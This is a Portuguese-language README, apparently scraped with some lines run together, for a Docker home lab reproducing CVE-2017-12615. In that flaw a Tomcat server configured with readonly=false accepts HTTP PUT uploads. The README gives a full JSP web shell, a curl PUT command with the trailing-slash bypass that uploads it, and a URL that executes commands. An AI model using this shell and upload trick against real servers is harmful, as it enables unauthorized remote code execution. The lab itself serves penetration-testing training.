CVE-2017-12615 Tomcat: Execução Remota de Código via Upload de JSP - Laboratório Caseiro para Red Teaming, Testes de Penetração
Este laboratório simula a vulnerabilidade CVE-2017-12615 Tomcat: Execução Remota de Código via Upload JSP
Ocorre devido à configuração readonly=false, que permite o upload de arquivos via HTTP PUT, incluindo arquivos .jsp que podem executar comandos (RCE).
readonly=false.jsp no diretório web ROOTflag_RANDOM.txt automaticamente toda vez que o container é iniciado/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh
docker compose build
docker compose up -d
Abra o navegador:
http://localhost:8080/
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String s;
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF
/ no final do nome do arquivo)curl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
Armazenada em:
/tmp/flag_RANDOM.txt
Este laboratório simula CVE-2017-12615 Tomcat: Execução Remota de Código via Upload JSP, no qual o DefaultServlet do Apache Tomcat está mal configurado com:
readonly=false
Isso permite que atacantes façam upload de arquivos .jsp via HTTP PUT, possibilitando execução remota de código.
readonly=false.jsp arbitrários no diretório web ROOTflag_RANDOM.txt gerada automaticamente na inicialização do containercurl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
/tmp/flag_RANDOM.txt
Apenas para fins educacionais, de pesquisa e testes de penetração autorizados.